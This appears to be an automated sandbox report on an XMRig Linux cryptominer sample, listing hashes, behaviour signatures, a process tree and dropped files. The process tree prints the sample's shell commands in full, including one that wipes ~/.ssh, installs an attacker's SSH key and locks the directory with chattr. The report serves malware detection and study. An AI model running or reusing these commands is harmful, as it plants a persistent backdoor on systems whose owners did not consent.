Overview

overview

10

Static

static

5

7a5c9606d0...af4574

ubuntu-22.04-amd64

10

Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    ubuntu-22.04_amd64
  • resource
    ubuntu2204-amd64-20240611-en
  • resource tags

    arch:amd64arch:i386image:ubuntu2204-amd64-20240611-enkernel:5.15.0-105-genericlocale:en-usos:ubuntu-22.04-amd64system
  • submitted
    03-11-2024 20:37

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    7a5c9606d068a16565c65aa8c5ee11ccecdc7098b91023dcfdb0c78695af4574

  • Size

    2.1MB

  • MD5

    1c36e8aaac825bcb9a086ecf2a471c89

  • SHA1

    66cb901aadae8db4511a364024d555427d78d3f9

  • SHA256

    7a5c9606d068a16565c65aa8c5ee11ccecdc7098b91023dcfdb0c78695af4574

  • SHA512

    8a65ee52874ec24b4dda49e63153aec981bd310c49245f5d26592824a1ad0da52c7233c31e7a380ba1fe9aeff6f453db1345686eceafb8b6dfd80f9eef25dda1

  • SSDEEP

    49152:WWD683TqbMtemJOGmHBox1Q6jtSVVO7EHsq8:J6dM3OGUCoPVs7EH8

Score
10/10
xmrigxmrig_linuxantivmdiscoveryminerupx

Malware Config

Signatures

  • Xmrig family
    xmrig
  • Xmrig_linux family
    xmrig_linux
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

    minerxmrig_linux
  • XMRig Miner payload 1 IoCs
    miner
  • Attempts to change immutable files 6 IoCs

    Modifies inode attributes on the filesystem to allow changing of immutable files.

  • Checks hardware identifiers (DMI) 1 TTPs 4 IoCs

    Checks DMI information which indicate if the system is a virtual machine.

    antivm
  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads hardware information 1 TTPs 14 IoCs

    Accesses system info like serial numbers, manufacturer names etc.

    discovery
  • UPX packed file 1 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

    upx
  • Changes its process name 2 IoCs
  • Checks CPU configuration 1 TTPs 1 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

    antivm
  • Reads CPU attributes 1 TTPs 45 IoCs
    discovery
  • Enumerates kernel/hardware configuration 1 TTPs 24 IoCs

    Reads contents of /sys virtual filesystem to enumerate system information.

    discovery
  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • Writes file to tmp directory 3 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/7a5c9606d068a16565c65aa8c5ee11ccecdc7098b91023dcfdb0c78695af4574
    /tmp/7a5c9606d068a16565c65aa8c5ee11ccecdc7098b91023dcfdb0c78695af4574
    1⤵
    • Checks hardware identifiers (DMI)
    • Reads hardware information
    • Changes its process name
    • Checks CPU configuration
    • Reads CPU attributes
    • Enumerates kernel/hardware configuration
    • Reads runtime system information
    • Writes file to tmp directory
    PID:1592
    • /bin/sh
      sh -c "sh -c 'chattr -ia ~/.ssh; cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~; chattr +ia ~/.ssh' >> /dev/null 2>&1"
      2⤵
        PID:1597
        • /usr/bin/sh
          sh -c "chattr -ia ~/.ssh; cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~; chattr +ia ~/.ssh"
          3⤵
            PID:1598
            • /usr/bin/chattr
              chattr -ia "~/.ssh"
              4⤵
              • Attempts to change immutable files
              PID:1599
            • /usr/bin/chattr
              chattr +ia "~/.ssh"
              4⤵
              • Attempts to change immutable files
              PID:1600
        • /bin/sh
          sh -c "sh -c 'chattr -ia ~/.xmrig.json;lockr -ia ~/.xmrig.json; rm -rf ~/.xmrig.json; chattr -ia ~/.config/xmrig.json; lockr -ia ~/.config/xmrig.json; rm -rf ~/.config/xmrig.json' >>/dev/null 2>&1"
          2⤵
          • Attempts to change immutable files
          PID:1601
          • /usr/bin/sh
            sh -c "chattr -ia ~/.xmrig.json;lockr -ia ~/.xmrig.json; rm -rf ~/.xmrig.json; chattr -ia ~/.config/xmrig.json; lockr -ia ~/.config/xmrig.json; rm -rf ~/.config/xmrig.json"
            3⤵
            • Attempts to change immutable files
            PID:1602
            • /usr/bin/chattr
              chattr -ia "~/.xmrig.json"
              4⤵
              • Attempts to change immutable files
              PID:1603
            • /usr/bin/rm
              rm -rf "~/.xmrig.json"
              4⤵
                PID:1604
              • /usr/bin/chattr
                chattr -ia "~/.config/xmrig.json"
                4⤵
                • Attempts to change immutable files
                PID:1605
              • /usr/bin/rm
                rm -rf "~/.config/xmrig.json"
                4⤵
                  PID:1606

          Network

          MITRE ATT&CK Enterprise v15

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          • /tmp/cert_key.pem
            Filesize

            1KB

            MD5

            0b151af7e825dd40f68738ad7bcd2354

            SHA1

            954550d2b110c7c569bb270c00f2f65a2edaaa86

            SHA256

            1c1d89ef53fbad35266e9c197c0d009f55530ca90e80ebca7ef0ae5802824ff3

            SHA512

            051bee04373007683f7fdd758f648fb5f19acd1f84b2cbd9baf470f8645c8b58cb54e14d3bd2062169583801297772b370b1b3805bbead52ff9efac559677bbf

            Download Submit

          • /var/tmp/.kswapd00
            Filesize

            2.1MB

            MD5

            1c36e8aaac825bcb9a086ecf2a471c89

            SHA1

            66cb901aadae8db4511a364024d555427d78d3f9

            SHA256

            7a5c9606d068a16565c65aa8c5ee11ccecdc7098b91023dcfdb0c78695af4574

            SHA512

            8a65ee52874ec24b4dda49e63153aec981bd310c49245f5d26592824a1ad0da52c7233c31e7a380ba1fe9aeff6f453db1345686eceafb8b6dfd80f9eef25dda1

            Download Submit

          • /var/tmp/sdfIESll923
            Filesize

            5B

            MD5

            f04818cf834a1e3bd2c4325e4c8dff32

            SHA1

            13901419c5f00d545d998312ec748fc7517d2530

            SHA256

            a0105311c47cdc36086fb89f65704198e5b64961c2057c6d8cbf7c70d6816bac

            SHA512

            efb1697afb0ef9c209415030e8d95d92ca607aecca06585c99acd3fd63ad95028fc7c47d49d59dbd1a2ce8bca2f14788131ace82193c8565fd2f9362d22813c9

            Download Submit

          • memory/1592-1-0x0000000000400000-0x0000000000a65ff8-memory.dmp

            Download